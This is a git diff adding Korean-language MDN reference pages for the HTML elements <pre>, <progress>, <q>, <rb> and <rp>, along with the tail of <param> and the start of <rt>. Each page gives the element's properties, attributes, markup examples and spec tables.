+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'iframe-embed-object.html#the-param-element', '&lt;param&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics-embedded-content.html#the-param-element', '&lt;param&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.3.2', '&lt;param&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.param")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("object")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/pre/index.html b/files/ko/web/html/element/pre/index.html
new file mode 100644
index 0000000000..9cc0ef51ca
--- /dev/null
+++ b/files/ko/web/html/element/pre/index.html
@@ -0,0 +1,150 @@
+---
+title: <pre>
+slug: Web/HTML/Element/pre
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - 'HTML:Flow content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/pre
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;pre&gt;</code> 요소</strong>는 미리 서식을 지정한 텍스트를 나타내며, HTML에 작성한 내용 그대로 표현합니다.</span> 텍스트는 보통 고정폭 글꼴을 사용해 렌더링하고, 요소 내 공백문자를 그대로 유지합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/pre.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLPreElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<div class="hidden">
+<dl>
+ <dt>{{htmlattrdef("cols")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Contains the <em>preferred</em> count of characters that a line should have. It was a non-standard synonym of {{htmlattrxref("width", "pre")}}. To achieve such an effect, use CSS styling instead.</dd>
+ <dt>{{htmlattrdef("width")}} {{obsolete_inline}}</dt>
+ <dd>Contains the <em>preferred</em> count of characters that a line should have. Though technically still implemented, this attribute has no visual effect; to achieve such an effect, use CSS styling instead.</dd>
+ <dt>{{htmlattrdef("wrap")}} {{non-standard_inline}}</dt>
+ <dd>Is a <em>hint</em> indicating how the overflow must happen. In modern browser this hint is ignored and no visual effect results in its present; to achieve such an effect, use CSS styling instead.</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;CSS로 글자 색을 바꾸는건 쉽습니다.&lt;/p&gt;
+&lt;pre&gt;
+body {
+  color:red;
+}
+&lt;/pre&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p><code>&lt;pre&gt;</code> 요소로 만든 이미지나 도표에 대한 대체 설명을 지정하는 것이 중요합니다. 대체 설명은 분명하고 간결하게 이미지 또는 도표 콘텐츠를 설명해야 합니다.</p>
+
+<p>시력이 낮은 사용자가 스크린 리더와 같은 보조 기술을 사용 중이라면, 미리 서식 적용한 텍스트의 문자를 차례대로 읽어서는 이게 무엇을 의미하는지 이해하지 못할 수 있습니다.</p>
+
+<p>{{htmlelement("figure")}}과 {{htmlelement("figcaption")}}에 더해 {{htmlattrxref("id")}}와 <a href="/ko/docs/Web/Accessibility/ARIA">ARIA</a> <code>role</code>과 <code>aria-labelledby</code> 특성을 조합하면 <code>&lt;pre&gt;</code>를 마치 이미지처럼 표현하면서 <code>&lt;figcaption&gt;</code>을 대체 설명으로 사용할 수 있습니다.</p>
+
+<h3 id="예제_2">예제</h3>
+
+<pre>&lt;figure role="img" aria-labelledby="cow-caption"&gt;
+  &lt;pre&gt;
+  _______________________
+&lt; 나는 이 분야의 전문가다. &gt;
+  -----------------------
+         \   ^__^
+          \  (oo)\_______
+             (__)\       )\/\
+                 ||----w |
+                 ||     ||
+  &lt;/pre&gt;
+  &lt;figcaption id="cow-caption"&gt;
+    소 한 마리가 "나는 이 분야의 전문가다"라고 말하고 있습니다. 소는 미리 서식을 적용한 텍스트로 그려져있습니다.
+  &lt;/figcaption&gt;
+&lt;/figure&gt;
+</pre>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H86.html">H86: Providing text alternatives for ASCII art, emoticons, and leetspeak | W3C Techniques for WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-pre-element', '&lt;pre&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No significant change from {{SpecName("HTML WHATWG")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-pre-element', '&lt;pre&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>No significant change from {{SpecName("HTML4.01")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.4', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Deprecated the <code>cols</code> attribute</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.pre")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS: {{ Cssxref('white-space') }}, {{ Cssxref('word-break') }}</li>
+</ul>
diff --git a/files/ko/web/html/element/progress/index.html b/files/ko/web/html/element/progress/index.html
new file mode 100644
index 0000000000..c586671c0d
--- /dev/null
+++ b/files/ko/web/html/element/progress/index.html
@@ -0,0 +1,122 @@
+---
+title: <progress>
+slug: Web/HTML/Element/progress
+tags:
+  - Element
+  - HTML
+  - HTML forms
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/progress
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;progress&gt;</code> 요소</strong>는 어느 작업의 완료 정도를 나타내며, 주로 진행 표시줄의 형태를 띕니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/progress.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 레이블 가능, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC#%EA%B5%AC%EB%AC%B8_%EC%BD%98%ED%85%90%EC%B8%A0">.</a> 단, 다른 <code>&lt;progress&gt;</code> 요소는 사용할 수 없습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLProgressElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{ htmlattrdef("max") }}</dt>
+ <dd><code>&lt;progress&gt;</code> 요소가 나타내는 작업에 필요한 작업량. 지정하는 경우, 반드시 0보다 크고 유효한 부동소수점 숫자여야 합니다. 기본값은 1입니다.</dd>
+ <dt>{{ htmlattrdef("value") }}</dt>
+ <dd><code>&lt;progress&gt;</code> 요소가 나타내는 작업을 완료한 양. 유효현 부동소수점 숫자여야 하고, <code>max</code> 특성을 지정한 경우 0 이상 <code>max</code> 이하, 그렇지 않으면 0 이상 1 이하여야 합니다. <code>value</code> 특성이 없으면 미결정 상태로, 현재 작업의 종료 시점을 예측할 수 없음을 나타냅니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> {{htmlelement("meter")}} 요소와 달리, 최솟값은 항상 0이며 <code>min</code> 특성을 지정할 수 없습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고:</strong> CSS {{cssxref(":indeterminate")}} <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>를 사용하면 미결정 상태의 진행 표시줄을 선택할 수 있습니다. 값을 지정한 진행 표시줄을 미결정 상태로 바꾸려면 {{domxref("Element.removeAttribute", "element.removeAttribute('value')")}}를 사용해 <code>value</code> 특성을 제거해야 합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;progress value="70" max="100"&gt;70 %&lt;/progress&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample("예제", 200, 50) }}</p>
+
+<p>Windows 7에서는 다음과 같은 모습으로 나타납니다.</p>
+
+<p><img alt="progress-firefox.JPG" class="default internal" src="/@api/deki/files/6031/=progress-firefox.JPG"></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-progress-element', '&lt;progress&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-progress-element', '&lt;progress&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.progress")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{htmlelement("meter")}}</li>
+ <li>{{ cssxref(":indeterminate") }}</li>
+ <li>{{ cssxref("-moz-orient") }}</li>
+ <li>{{ cssxref("::-moz-progress-bar") }}</li>
+ <li>{{ cssxref("::-ms-fill") }}</li>
+ <li>{{ cssxref("::-webkit-progress-bar") }}</li>
+ <li>{{ cssxref("::-webkit-progress-value") }}</li>
+ <li>{{ cssxref("::-webkit-progress-inner-element") }}</li>
+</ul>
diff --git a/files/ko/web/html/element/q/index.html b/files/ko/web/html/element/q/index.html
new file mode 100644
index 0000000000..2634e98b63
--- /dev/null
+++ b/files/ko/web/html/element/q/index.html
@@ -0,0 +1,111 @@
+---
+title: '<q>: 인라인 인용문 요소'
+slug: Web/HTML/Element/q
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/q
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;q&gt;</code>요소</strong>는 둘러싼 텍스트가 짧은 인라인 인용문이라는것을 나타냅니다.</span> 대부분의 브라우저에서는 앞과 뒤에 따옴표를 붙여 표현합니다. <code>&lt;q&gt;</code>는 줄 바꿈이 없는 짧은 경우에 적합합니다. 긴 인용문은 {{htmlelement("blockquote")}} 요소를 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/q.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLQuoteElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>참고:</strong> 오래된 브라우저에서는 앞뒤 따옴표를 적용하려면 추가 스타일을 사용해야 할 수 있습니다.</p>
+</div>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>인용문의 출처 문서나 메시지를 가리키는 URL. 인용문의 맥락 혹은 출처 정보를 가리킬 용도입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;p&gt;Mozilla 재단의 웹사이트에 따르면,
+  &lt;q
+  cite="https://www.mozilla.org/en-US/about/history/details/"&gt;Firefox 1.0
+  은 2004년 처음 공개되어 큰 성공을 거두었습니다.&lt;/q&gt;&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-q-element', '&lt;q&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-q-element', '&lt;q&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;q&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.q")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>긴 인용문을 위한 {{HTMLElement("blockquote")}} 요소.</li>
+ <li>출처 표기를 위한 {{HTMLElement("cite")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/rb/index.html b/files/ko/web/html/element/rb/index.html
new file mode 100644
index 0000000000..b34272a9e3
--- /dev/null
+++ b/files/ko/web/html/element/rb/index.html
@@ -0,0 +1,150 @@
+---
+title: '<rb>: 루비 베이스 요소'
+slug: Web/HTML/Element/rb
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Ruby
+  - Text
+  - Web
+translation_of: Web/HTML/Element/rb
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;rb&gt;</code> 요소</strong>는 {{HTMLElement("ruby")}} 표기의 기반 텍스트 구성요소(루비 주석을 적용하려는 글자)를 나눌 때 사용합니다.</span> 하나의 <code>&lt;rb&gt;</code> 요소는 기반 텍스트에서의 최소 단위를 하나 감싸야 합니다.</p>
+
+<div class="hidden">\{{EmbedInteractiveExample("pages/tabbed/rb.html", "tabbed-standard")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>{{htmlelement("ruby")}} 요소의 자손.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>바로 뒤따르는 요소가 {{HTMLElement("rt")}}, {{HTMLElement("rtc")}}, {{HTMLElement("rp")}}, 다른 <code>&lt;rb&gt;</code> 요소거나, 자신이 부모의 마지막 요소라면 닫는 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{htmlelement("ruby")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>루비 주석은 일본어 후리가나, 타이완어 주음부호와 같이 동아시아 문자의 발음 표기에 사용합니다. <code>&lt;rb&gt;</code> 요소는 기반 텍스트의 각 조각을 나타내는 용도입니다.</li>
+ <li><code>&lt;rb&gt;</code>는 {{glossary("empty element", "빈 요소")}}가 아니지만, 보통 소스 코드에는 여는 태그만 사용해 루비 마크업을 덜 복잡하고 읽기 쉽게 합니다. 브라우저가 렌더링 때 알아서 닫는 태그를 추가합니다.</li>
+ <li>각각의 <code>&lt;rb&gt;</code> / 기반 조각 하나마다 {{htmlelement("rt")}} 요소 하나를 작성해야 합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 "경복궁"의 한자/한글 표기를 병행합니다.</p>
+
+<pre class="brush: html">&lt;ruby&gt;
+  &lt;rb&gt;景&lt;rb&gt;福&lt;rb&gt;宮
+  &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;경&lt;rt&gt;복&lt;rt&gt;궁&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<p>세 개의 <code>&lt;rb&gt;</code> 요소를 사용해 기반 글자(한자)를 세 개로 나눴습니다. 반면, 한글 표기는 세 개의 {{htmlelement("rt")}} 요소를 사용합니다.</p>
+
+<p>세 개의 기반 조각을 완전히 분리해 작성할 수도 있다는 점을 알아두세요. 이 때는 <code>&lt;rb&gt;</code> 요소를 사용하지 않아도 됩니다.</p>
+
+<pre class="brush: html">&lt;ruby&gt;
+  景 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;경&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+  福 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;복&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+  宮 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;궁&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<div class="hidden">
+<div id="with-ruby">
+<pre class="brush: html">&lt;ruby&gt; &lt;rb&gt;景&lt;rb&gt;福&lt;rb&gt;宮 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;경&lt;rt&gt;복&lt;rt&gt;궁&lt;rp&gt;)&lt;/rp&gt; &lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">body {
+  font-size: 22px;
+}</pre>
+</div>
+</div>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("with-ruby", "100%", 60)}}</p>
+
+<p>루비 주석을 지원하지 않는 브라우저에서는 아래와 같이 출력합니다.</p>
+
+<div id="without-ruby">
+<div class="hidden">
+<pre class="brush: html">景福宮 (경복궁)</pre>
+
+<pre class="brush: css">body {
+  font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{EmbedLiveSample("without-ruby", "100%", 60)}}</p>
+
+<div class="note">
+<p><strong>참고</strong>: {{HTMLElement("ruby")}} 요소 참고서를 방문해 다른 예제도 살펴보세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-rb-element', '&lt;rb&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.rb")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>
+  <p>{{HTMLElement("rtc")}}</p>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/rp/index.html b/files/ko/web/html/element/rp/index.html
new file mode 100644
index 0000000000..9a803de3c5
--- /dev/null
+++ b/files/ko/web/html/element/rp/index.html
@@ -0,0 +1,134 @@
+---
+title: '<rp>: 루비 대체 괄호 요소'
+slug: Web/HTML/Element/rp
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Ruby
+  - Web
+translation_of: Web/HTML/Element/rp
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;rp&gt;</code> 요소</strong>는 {{htmlelement("ruby")}} 요소를 사용한 루비 주석을 지원하지 않는 경우 보여줄 괄호를 제공할 때 사용합니다.</span> {{htmlelement("rt")}} 요소를 감싸는 여는 괄호와 닫는 괄호를 각각의 <code>&lt;rp&gt;</code> 요소로 나타내야 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/rp.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>텍스트.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>바로 뒤따르는 요소가 {{HTMLElement("rt")}}, 다른 <code>&lt;rp&gt;</code> 요소거나, 자신이 부모의 마지막 요소라면 닫는 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{htmlelement("ruby")}} 요소. <code>&lt;rp&gt;</code>는 {{htmlelement("rt")}} 요소의 바로 앞 또는 바로 뒤에 위치해야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만을 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>루비 주석은 일본어 후리가나, 타이완어 주음부호와 같이 동아시아 문자의 발음 표기에 사용합니다. <code>&lt;rp&gt;</code> 요소는 {{htmlelement("ruby")}} 요소를 지원하지 않는 브라우저에서 루비 주석을 구분할 수 있는 텍스트(주로 괄호)를 제공합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 한자료 표기한 "경복궁"의 각 글자에 루비 주석을 적용합니다.</p>
+
+<div id="with-ruby">
+<pre class="brush: html">&lt;ruby&gt;
+  景 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;경&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+  福 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;복&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+  宮 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;궁&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  font-size: 22px;
+}</pre>
+</div>
+</div>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("with-ruby", "100%", 60)}}</p>
+
+<p>루비 주석을 지원하지 않는 브라우저에서는 아래와 같이 출력합니다.</p>
+
+<div id="without-ruby">
+<div class="hidden">
+<pre class="brush: html">景 (경) 福 (복) 宮 (궁)</pre>
+
+<pre class="brush: css">body {
+  font-size: 22px;
+}
+</pre>
+</div>
+</div>
+
+<p>{{EmbedLiveSample("without-ruby", "100%", 60)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-rp-element', '&lt;rp&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-rp-element', '&lt;rp&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.rp")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("ruby")}}</li>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/rt/index.html b/files/ko/web/html/element/rt/index.html
new file mode 100644
index 0000000000..5cde18c84c
--- /dev/null
+++ b/files/ko/web/html/element/rt/index.html
@@ -0,0 +1,129 @@
+---
+title: '<rt>: 루비 텍스트 요소'
+slug: Web/HTML/Element/rt
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Ruby
+  - Web
+translation_of: Web/HTML/Element/rt
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;rt&gt;</code> 요소</strong>는 동아시아 문자의 루비 주석에서 발음, 번역 등을 나타내는 텍스트 부분을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/rt.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
